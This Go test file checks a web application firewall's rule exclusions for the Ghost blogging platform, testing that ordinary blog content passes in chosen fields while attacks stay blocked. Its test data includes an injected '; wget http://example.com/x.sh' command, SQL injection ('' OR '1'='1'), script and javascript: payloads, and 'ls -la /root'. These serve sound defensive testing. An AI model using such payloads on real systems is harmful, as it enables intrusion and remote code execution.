check / check (push) Waiting to run
Every setting of waf and rproxy is read through viper, in place of the os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and AllowEmptyEnv on, so a setting that is set but empty reads as set. A setting may also be given as a file, the _FILE form, which rproxy's settings now have too; rproxy still writes nothing to disk. The settings are renamed: waf's take the prefix SWW_WAF_, rproxy's take SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_. Model: deepseek-v4-pro (first version); opus-5-5 (rework)
515 lines
15 KiB
Go
515 lines
15 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
|
const ghostThreshold = 5
|
|
|
|
// Paths of Ghost's Admin API, Content API and members' API.
|
|
const (
|
|
ghostPosts = "/ghost/api/admin/posts/"
|
|
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
|
|
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
|
|
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
|
|
ghostMembers = "/ghost/api/admin/members/"
|
|
ghostSettings = "/ghost/api/admin/settings/"
|
|
ghostSession = "/ghost/api/admin/session/"
|
|
ghostSetup = "/ghost/api/admin/authentication/setup/"
|
|
ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
|
|
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
|
ghostMember = "/members/api/member/"
|
|
ghostMagicLink = "/members/api/send-magic-link/"
|
|
)
|
|
|
|
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{
|
|
giteaHost: {gitea}, otherHost: {"ghost"},
|
|
})
|
|
|
|
// A filter, which only Ghost's fixes let through.
|
|
filter := get(ghostPosts + "?filter=tag:powershell")
|
|
|
|
wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{})
|
|
wantResult(t, crs, withHost(filter, giteaHost), matched(932120))
|
|
}
|
|
|
|
// ghostField is a field of a JSON body Ghost receives: the request that
|
|
// sends it, and its body, with VALUE where the field's value goes.
|
|
type ghostField struct{ method, target, body string }
|
|
|
|
// with returns f's body holding value, escaped for JSON.
|
|
func (f ghostField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
return strings.ReplaceAll(
|
|
f.body,
|
|
"VALUE",
|
|
string(quoted[1:len(quoted)-1]),
|
|
)
|
|
}
|
|
|
|
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostTextFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`,
|
|
},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/pages/",
|
|
`{"pages":[{"slug":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/tags/",
|
|
`{"tags":[{"name":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/tags/",
|
|
`{"tags":[{"description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/labels/",
|
|
`{"labels":[{"name":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostMembers,
|
|
`{"members":[{"labels":[{"name":"VALUE"}]}]}`,
|
|
},
|
|
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostNewsletter,
|
|
`{"newsletters":[{"sender_name":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/snippets/",
|
|
`{"snippets":[{"name":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPut, ghostMember, ghostMemberName},
|
|
}
|
|
|
|
// ghostMemberName is the body that saves a member's name at /members/api/.
|
|
const ghostMemberName = `{"name":"VALUE"}`
|
|
|
|
// ghostAddressFields hold a member's or a staff user's email address and skip
|
|
// 930120, 932120 and 932260.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddressFields = []ghostField{
|
|
{
|
|
http.MethodPost,
|
|
ghostMagicLink,
|
|
`{"email":"VALUE","emailType":"signup"}`,
|
|
},
|
|
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostPasswordReset,
|
|
`{"password_reset":[{"email":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
|
}
|
|
|
|
// ghostArticleFields hold an article and skip the rules of 900355.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostArticleFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostPosts + "?source=html",
|
|
`{"posts":[{"html":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/snippets/",
|
|
`{"snippets":[{"lexical":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostNewsletter,
|
|
`{"newsletters":[{"footer_content":"VALUE"}]}`,
|
|
},
|
|
}
|
|
|
|
// ghostCodeFields hold code injection or a setting and skip the rules of
|
|
// 900356.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostCodeFields = []ghostField{
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"codeinjection_head":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostPage,
|
|
`{"pages":[{"codeinjection_foot":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut, ghostSettings,
|
|
`{"settings":[{"key":"title","value":"Blog"},` +
|
|
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
|
},
|
|
}
|
|
|
|
// The query fields that skip some rules, each ending in "=".
|
|
const (
|
|
ghostAdminFilter = ghostPosts + "?limit=30&filter="
|
|
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
|
ghostSearch = ghostMembers + "?limit=100&search="
|
|
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
|
)
|
|
|
|
// ghostQueryFields are the query fields that skip some rules.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostQueryFields = []string{
|
|
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
|
}
|
|
|
|
// ghostURLs are addresses 930120 and 932120 refused in url.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostURLs = []string{
|
|
"https://github.com/example/site/blob/main/.htaccess",
|
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
|
"https://example.com/docs/python3/",
|
|
}
|
|
|
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddresses = []string{
|
|
"erin.htaccess@example.com",
|
|
"python3.dev@example.com",
|
|
"dave.powershell@example.com",
|
|
}
|
|
|
|
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
|
// embed, which each of the rules of 900355 refused.
|
|
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
|
`<pre><code>#!/usr/bin/env python3
|
|
cat /etc/hosts | grep example
|
|
ls -la /var/www/html/.htaccess
|
|
powershell -ExecutionPolicy Bypass -File build.ps1
|
|
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
|
|
document.querySelectorAll('a').forEach((a) => console.log(a.href));
|
|
window.onload = () => alert('ready');</code></pre>` +
|
|
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
|
|
`<img src="https://images.example.com/banner.png" ` +
|
|
`onclick="this.classList.toggle('big')">`
|
|
|
|
// ghostCodeInjection is ordinary code injection for the head of a page.
|
|
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
|
|
`<link rel="preconnect" href="https://fonts.example.com">` +
|
|
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
|
|
|
|
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
|
|
// holding value, or lets it through.
|
|
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{jsonBody}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf(
|
|
"%s %s %.300s let through: %+v",
|
|
f.method,
|
|
f.target,
|
|
body,
|
|
got,
|
|
)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
|
|
// target, a query field and its value, or lets it through.
|
|
func wantGhostQuery(t *testing.T, target string, refused bool) {
|
|
t.Helper()
|
|
|
|
got := inspect(t, atDefaults(t), get(target))
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
fields := slices.Concat(
|
|
ghostTextFields,
|
|
ghostArticleFields,
|
|
ghostCodeFields,
|
|
)
|
|
for _, f := range fields {
|
|
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
|
|
}
|
|
|
|
// filter as the admin's pickers write it, and search as typed.
|
|
wantGhostQuery(
|
|
t,
|
|
ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"),
|
|
false,
|
|
)
|
|
wantGhostQuery(
|
|
t,
|
|
ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"),
|
|
false,
|
|
)
|
|
wantGhostQuery(t, ghostSearch+encoded, false)
|
|
}
|
|
|
|
for _, address := range ghostURLs {
|
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
|
}
|
|
|
|
for _, address := range ghostAddresses {
|
|
for _, f := range ghostAddressFields {
|
|
wantGhostField(t, f, address, false)
|
|
}
|
|
}
|
|
|
|
for _, f := range ghostArticleFields {
|
|
wantGhostField(t, f, ghostArticle, false)
|
|
}
|
|
|
|
for _, f := range ghostCodeFields {
|
|
wantGhostField(t, f, ghostCodeInjection, false)
|
|
}
|
|
|
|
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
|
url.QueryEscape(
|
|
"tag:powershell+status:[draft,scheduled,published,sent]",
|
|
), false)
|
|
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
|
|
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
|
}
|
|
|
|
// ghostAttacks are an SQL injection, a path traversal and a script
|
|
// injection, not escaped.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
|
|
|
// commandAfterASeparator is a shell command after a ";", not escaped.
|
|
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
|
|
|
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range ghostAttacks {
|
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
|
ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, attack, true)
|
|
}
|
|
|
|
for _, target := range ghostQueryFields {
|
|
wantGhostQuery(t, target+url.QueryEscape(attack), true)
|
|
}
|
|
}
|
|
|
|
// A command after a separator stays refused wherever its rules do not
|
|
// misfire: in the query fields, the plain text and the addresses.
|
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
|
wantGhostField(t, f, commandAfterASeparator, true)
|
|
}
|
|
|
|
for _, target := range ghostQueryFields {
|
|
wantGhostQuery(
|
|
t,
|
|
target+url.QueryEscape(commandAfterASeparator),
|
|
true,
|
|
)
|
|
}
|
|
|
|
// The articles and code injection carry HTML on purpose, but a script
|
|
// element and a javascript: link are still refused there.
|
|
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
|
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
|
}
|
|
|
|
// An address keeps 932250, which refuses a listing of files.
|
|
for _, f := range ghostAddressFields {
|
|
wantGhostField(t, f, "ls -la /root", true)
|
|
}
|
|
}
|
|
|
|
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The fields keep their rules off Ghost's paths, on Ghost's paths that
|
|
// take no such field, and when the query has a field of the same name.
|
|
const (
|
|
title = `{"posts":[{"title":"python3"}]}`
|
|
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
|
|
name = `{"name":"python3"}`
|
|
email = `{"email":"python3.dev@example.com"}`
|
|
username = `{"username":"python3.dev@example.com"}`
|
|
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
|
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
|
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/api/posts/", title},
|
|
{"/ghost/api/content/posts/", title},
|
|
{ghostMember, title},
|
|
{ghostPosts + "?json.posts.0.title=x", title},
|
|
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
|
|
{ghostPosts, name},
|
|
{ghostMember + "?json.name=x", name},
|
|
{"/api/posts/", article},
|
|
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
|
|
{ghostPosts + "?json.posts.0.lexical=x", article},
|
|
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
|
|
{
|
|
ghostSettings + "?json.settings.0.value=x",
|
|
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
|
},
|
|
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
|
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
|
|
{ghostPosts, email},
|
|
{ghostMembers, email},
|
|
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
|
{
|
|
ghostMembers + "?json.members.0.email=x",
|
|
`{"members":[{"email":"python3.dev@example.com"}]}`,
|
|
},
|
|
{ghostMember + "?json.email=x", email},
|
|
{ghostPosts, username},
|
|
{ghostSession + "?json.username=x", username},
|
|
{ghostPosts, setupEmail},
|
|
{ghostSetup + "?json.setup.0.email=x", setupEmail},
|
|
{ghostPosts, passwordResetEmail},
|
|
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
|
{ghostPosts, userEmail},
|
|
{ghostUser + "?json.users.0.email=x", userEmail},
|
|
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
|
{
|
|
"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
|
|
`{"users":[{"profile_image":null}]}`,
|
|
},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < ghostThreshold {
|
|
t.Errorf(
|
|
"PUT %s %s let through: %+v",
|
|
refused.target,
|
|
refused.body,
|
|
got,
|
|
)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The query fields keep their rules off Ghost's paths, and in other
|
|
// query fields there. search skips its rules only on the Admin API, and
|
|
// url only on the editor's lookup of embeds.
|
|
for _, target := range []string{
|
|
"/api/posts/?filter=powershell",
|
|
"/ghost/posts/?filter=powershell",
|
|
"/ghost/api/admin/posts/?order=powershell",
|
|
"/ghost/api/content/posts/?search=python3",
|
|
"/members/api/member/?search=python3",
|
|
"/ghost/api/admin/posts/?url=powershell",
|
|
"/oembed/?url=powershell",
|
|
} {
|
|
wantGhostQuery(t, target, true)
|
|
}
|
|
}
|
|
|
|
func TestGhostPasswordsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// Ghost's password fields, each sent to the path that takes it. A dot
|
|
// nests a field, as Ghost nests it in an array.
|
|
fields := []passwordFields{
|
|
{ghostSession, jsonBody, []string{passwordKey}},
|
|
{
|
|
"/ghost/api/admin/authentication/setup/",
|
|
jsonBody,
|
|
[]string{"setup.0.password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/authentication/invitation/", jsonBody,
|
|
[]string{"invitation.0.password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/authentication/password_reset/", jsonBody,
|
|
[]string{
|
|
"password_reset.0.newPassword",
|
|
"password_reset.0.ne2Password",
|
|
},
|
|
},
|
|
{
|
|
"/ghost/api/admin/users/password/", jsonBody,
|
|
[]string{
|
|
"password.0.oldPassword", "password.0.newPassword",
|
|
"password.0.ne2Password",
|
|
},
|
|
},
|
|
}
|
|
|
|
wantPasswordFieldsPass(t, fields)
|
|
}
|